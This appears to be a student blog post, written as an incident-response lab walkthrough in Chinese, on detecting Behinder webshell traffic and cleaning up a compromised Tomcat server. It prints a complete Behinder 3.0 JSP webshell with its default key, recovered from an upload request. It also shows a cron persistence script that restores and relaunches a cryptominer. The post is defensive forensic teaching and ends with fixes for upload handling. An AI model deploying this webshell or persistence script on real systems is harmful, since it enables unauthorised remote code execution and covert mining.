第一次GET请求服务端产生密钥写入 session，session 和当前会话绑定，不同的客户端的密钥也是不同的。第二次GET请求是为了获取密钥 key，服务端会生成16位的AES密钥。第三次使用 key 的AES加密进行通信，通信也采用了base64编码。

进行请求时内置了十几个User-Agent头，每次请求时会随机选择其中的一个。因此当发现一个ip的请求头中的user-agent在频繁变换，就可能是冰蝎。

冰蝎3.0

使用AES加密+base64编码发起两次请求。

与冰蝎2.0相比，冰蝎3.0取消了动态密钥获取的请求，AES的密钥直接固定为连接密码32位md5的前16位，默认连接密码是"rebeyond"(即密钥是md5('rebeyond')[0:16]=e45e329feb5d925b)。服务端和客户端不再进行密钥的交互传递。两次请求中，第一次请求用于判断是否可以建立连接。第二次发送 phpinfo 等代码执行，获取网站的信息。

与冰蝎2.0相似，进行请求时内置了十几个User-Agent头，每次请求时会随机选择其中的一个。连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream。

冰蝎4.0

提供了传输协议自定义的功能，让用户对流量的加密和解密进行自定义，实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念，自定义传输协议的算法就是连接密码。

Accept字段（弱特征），通常是Accept: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件，但最倾向application/json 和 text/javascript。

Content-Type字段（弱特征），通常是Content-type: Application/x-www-form-urlencoded

与冰蝎的前述版本相似，进行请求时内置了十几个User-Agent头，每次请求时会随机选择其中的一个。

连接的端口有一定的特征，冰蝎与webshell建立连接的同时，javaw也与目的主机建立tcp连接，每次连接使用本地端口在49700左右(就是比较大的端口)，每连接一次，每建立一次新的连接，端口就依次增加。

使用长连接，避免了频繁的握手造成的资源开销。默认情况下，请求头和响应头里会带有 Connection：Keep-Alive

有固定的请求头和响应头，请求字节头：dFAXQV1LORcHRQtLRlwMAhwFTAg/M ，响应字节头：TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

默认时，冰蝎 webshell都有“e45e329feb5d925b” 一串密钥，与冰蝎3.0相同。

------WebKitFormBoundaryzAVeFABhbUk9Pi0B
Content-Disposition: form-data; name="avatar"; filename="shell.jsp"
Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*........................32...md5.........16........................rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
------WebKitFormBoundaryzAVeFABhbUk9Pi0B--

实际上传的文件可以看出是冰蝎3.0jsp木马

5.3.5 审计流量并结合web站点，攻击者通过哪个用户名利用的漏洞，提交其注册用户名

访问web端口，尝试登录，抓个接口，然后去流量筛选

ip.addr== 192.168.37.10 && http.request.uri == "/servlet/user/login"

登录成功后肯定会跳转到首页或者其它页面，可以看到跳转到了index.jsp页面，攻击者注册用户名为：wangyunqing

5.3.6 审计流量并结合漏洞，提交攻击者控制成功木马文件名

/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp 该文件访问的次数最多

ip.addr == 192.168.37.10 && http.request.uri == "/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp"

冰蝎初次连接后会生成一个session，后续进行通信使用，那么图中的GET请求就是生成session的过程

将加密流量复制到蓝队工具箱中进行解密

可以看到这里执行了 cd / whoami 命令

最终成功控制主机的木马文件名为：70b86b64-ce15-46bf-8095-4764809e2ee5.jsp

5.3.7 审计流量并清除掉攻击者上传的木马，清除成功后在/var/flag/1/flag中查看flag并提交

find / -name *4764809e2ee5.jsp

rm -rf /var/lib/tomcat9/webapps/ROOT/uploads/70b86b64-002dce15-002d46bf-002d8095-002d4764809e2ee5.jsp

5.3.8 黑客拿到主机权限后，上传了挖矿木马，需要你提交矿池地址

执行ps -ef看一下后台进程，是可以看到有一个/tmp/miner.jar在运行的

这里为什么定位到这个进程？java起了一个jar包是很可疑的；另外这个jar包是放在tmp目录下，临时目录一般用户也有权限，攻击者可以将木马放在该目录下。

直接下载下来使用jadx工具进行反编译jar包

其实是可以看到，在Miner类中定义了矿池地址和钱包地址，但是实际上并没有对外出网的请求

那么最终矿池地址为：pool.minexmr.com:4444

通过微步也可以查询到确实是真实挖矿地址

5.3.9 清除掉主机上的挖矿木马，完成后在/var/flag/2/flag文件中查看flag并提交

删除挖矿木马文件 rm -rf /tmp/miner.jar

删除文件且杀掉进程成功，CPU消耗下来了，查看/var/flag/2/flag

5.3.10 黑客做了后门，即使你清除以后，仍然会定时更新挖矿程序并运行，你找到这个程序，提交其路径

拿到主机权限后，一般都会进行权限维持操作，常见的有备份文件、定时任务、隐藏文件等

这里为什么想到定时任务? 我们删除木马文件后，经过一段时间cpu又继续飙升，说明是自动执行该木马文件的，那么就有可能是设置了定时任务，每隔一段时间自动执行。

查看计划任务 crontab -l

可以看到，在root权限运行了一个persistence.sh的脚本（每分钟执行一次），且目录还是.per也就是隐藏目录，查看该脚本文件。

#!/bin/bash

SOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"


if pgrep -f "$PROCESS_NAME" > /dev/null; then
    
    exit 0
else
    
    echo "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"

   
    if [ ! -f "$DEST_FILE" ]; then
        echo "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"
        
        cp "$SOURCE_FILE" "$DEST_FILE"
        chmod +x "$DEST_FILE"
    fi


    if [ -f "$DEST_FILE" ]; then
        nohup java -jar "$DEST_FILE" > /dev/null 2>&1 &
        echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"
    else

        echo "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"
    fi
fi

审计代码可以看到，还有个备份的隐藏挖矿脚本，在：/usr/share/.miner/miner.jar，然后PROCESS_NAME="java -jar $DEST_FILE"会运行相关脚本，后面的程序逻辑

先检测/tmp/miner.jar是否存在且运行
如果存在则exit退出
如果不存在则将备份目录下的miner.jar文件复制到/tmp/下，然后运行：nohup java -jar "$DEST_FILE" > /dev/null 2>&1 &

所以最终这个后门程序的路径为：/usr/share/.per/persistence.sh

5.3.11 清除掉后门挖矿程序，在/var/flag/3/flag下查看提交flag

清除原有的已被恢复的挖矿程序以及进程和定时任务以及定时任务中的脚本和隐藏备份的挖矿脚本

CPU和进程恢复正常后，查看/var/flag/3/flag文件获取到flag

参考：NOP团队整理的挖矿病毒 - 网络安全应急响应手册 — NOPTeam

5.4 原因总结

原因类型	黑客通过学校年久失修的系统中的任意用户注册进入后造成的任意文件上传漏洞，上传了木马文件进行了控制主机，并且上传了挖矿木马以及后门程序(即使删除了也会恢复)
直接原因	任意文件上传造成，程序以root权限运行
根本原因	缺乏定期漏洞扫描机制;运维人员安全意识不足，未进行定期维护以及渗透测试以及程序更新

5.5 修复建议

首先我们先注册一个账户抓包看一下

1. 只允许“真图片”

不能只看前端扩展名，也不能只信：

filename=xxx.webp
Content-Type: image/webp

因为这两个值都能伪造。真正要做的是后端同时校验：

扩展名白名单：只允许 jpg jpeg png webp
MIME 白名单：只允许 image/jpeg image/png image/webp
文件头魔数校验：确认真的是图片
用图片库实际解码一次：解不开就拒绝

也就是说，要防住这些绕过：

shell.jsp
shell.jsp;.png
shell.png.jsp
伪造 Content-Type: image/webp
图片马 / polyglot 文件
只改后缀不改内容

2. 上传目录不能执行脚本

这是最关键的一层。

这次题目里，攻击者上传成功后访问了 /uploads/*.jsp，说明上传目录本身就在 Web Root 下，而且容器会执行 JSP。

修复时必须改成：

文件存储到 Web 根目录之外
- 例如：/data/app/avatar/
- 不要放在 webapps/ROOT/uploads/

然后通过一个下载/读取接口返回图片内容，而不是让用户直接访问物理路径。

这是最稳的方案。

3. 服务端重命名

不要使用用户原始文件名。

应该保存成：

UUID/雪花 ID/随机字符串
固定安全后缀，如 .webp

例如：

9f2d3c1a8b.webp

这样可以避免：

双后缀绕过
路径穿越
特殊字符利用
覆盖已有文件

4. 上传后重新转码

头像场景非常适合“重新生成图片”。

做法是：

读取原始图片
用后端图片库重新编码成标准 webp/png/jpg
丢弃原始字节流
最终只保存重编码后的新文件

这样比单纯“校验后保存”更安全，因为很多畸形构造、附加 payload 会在重编码时被清掉。

5.总结

对 uploadAvatar 接口增加严格服务端白名单校验，仅允许 jpg/jpeg/png/webp 等图片格式。
不再信任客户端提交的文件名和 Content-Type，增加文件后缀、MIME、文件头魔数和图片解码的联合校验。
上传后的文件统一由服务端随机重命名，并强制转码为安全图片格式。
上传文件存储目录迁移到 Web 根目录之外，禁止通过 URL 直接访问物理路径。
若短期无法迁移目录，需立即在 Web 容器与反向代理层禁止 /uploads/ 目录下的 JSP 等脚本执行。
为上传接口增加大小限制、频率限制、日志审计和异常告警，防止再次被用于木马投递。

posted @ 2026-04-08 13:50 4eversinc2 阅读(1) 评论(0) 收藏举报

刷新页面返回顶部

4eversinc2

20253913 2025-2026-2 《网络攻防实践》第三周作业

《网络攻防实践》第三次作业实验报告

一、知识点梳理与总结

1.1 网络嗅探与协议分析的基本概念

1.2 tcpdump 工具及其在网络分析中的作用

1.3 Wireshark 工具及其优势

1.4 TELNET 协议的安全性问题

1.5 端口扫描与主机探测在网络攻防中的意义

二、实验过程

2.1 实践 tcpdump：对本机访问网站过程进行嗅探

2.1.1 实验目的

2.1.2 实验环境与操作命令

2.1.3 分析过程

2.1.4 问题回答

2.2 实践 Wireshark：对 TELNET 登录 BBS 进行嗅探与协议分析

2.2.1 实验目的

2.2.2 实验步骤

2.2.3 问题回答

2.3 取证分析实践：解码网络扫描器（listen.pcap）

2.3.1 实验目的

2.3.2 攻击主机与目标主机识别

（1）分析思路

（2）问题回答

2.3.3 识别扫描工具：Nmap

（1）基于流量行为的初步判断

（2）借助 Snort 确认扫描工具

（3）问题回答

2.3.4 扫描方法分析：不止一种，而是多种扫描/探测行为的组合

（1）扫描的目标端口

（2）TCP SYN 扫描：nmap -sS

（3）操作系统探测：nmap -O

（3）主机存活探测：ICMP Ping，对应 nmap -sn

（4）Xmas Scan：nmap -sX

（5）问题回答

2.3.5 蜜罐主机开放端口分析

（1）分析方法

（2）分析结果

（3）问题回答

2.3.6 攻击主机操作系统识别

（1）分析步骤

（2）问题回答

三、学习中遇到的问题及解决

3.1 问题一：Snort 初次分析 listen.pcap 时没有给出预期告警

3.2 问题二：TELNET 追踪 TCP 流后中文内容显示乱码，不利于判断登录过程

3.3 问题三：取证分析时容易误以为“扫描方法只有一种”

四、学习感想和体会

五、靶场复现

5.1 靶场背景

5.2 主机发现

5.3 分析过程

5.3.1 使用工具分析共有多少IP存在扫描web特征，提交其数量

5.3.2 在2025.6.22日17点03分27秒，192.168.37.10，55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)

5.3.3 提交存在使用NMAP扫描特征的IP

5.3.4 审计流量并结合web站点，攻击者通过什么漏洞进行控制主机，提交漏洞文件名接口

5.3.5 审计流量并结合web站点，攻击者通过哪个用户名利用的漏洞，提交其注册用户名

5.3.6 审计流量并结合漏洞，提交攻击者控制成功木马文件名

5.3.7 审计流量并清除掉攻击者上传的木马，清除成功后在/var/flag/1/flag中查看flag并提交

5.3.8 黑客拿到主机权限后，上传了挖矿木马，需要你提交矿池地址

5.3.9 清除掉主机上的挖矿木马，完成后在/var/flag/2/flag文件中查看flag并提交

5.3.10 黑客做了后门，即使你清除以后，仍然会定时更新挖矿程序并运行，你找到这个程序，提交其路径

5.3.11 清除掉后门挖矿程序，在/var/flag/3/flag下查看提交flag

5.4 原因总结

5.5 修复建议

1. 只允许“真图片”

2. 上传目录不能执行脚本

3. 服务端重命名

4. 上传后重新转码

5.总结

公告

（2）TCP SYN 扫描：`nmap -sS`

（3）操作系统探测：`nmap -O`

（3）主机存活探测：ICMP Ping，对应 `nmap -sn`

（4）Xmas Scan：`nmap -sX`

3.1 问题一：Snort 初次分析 `listen.pcap` 时没有给出预期告警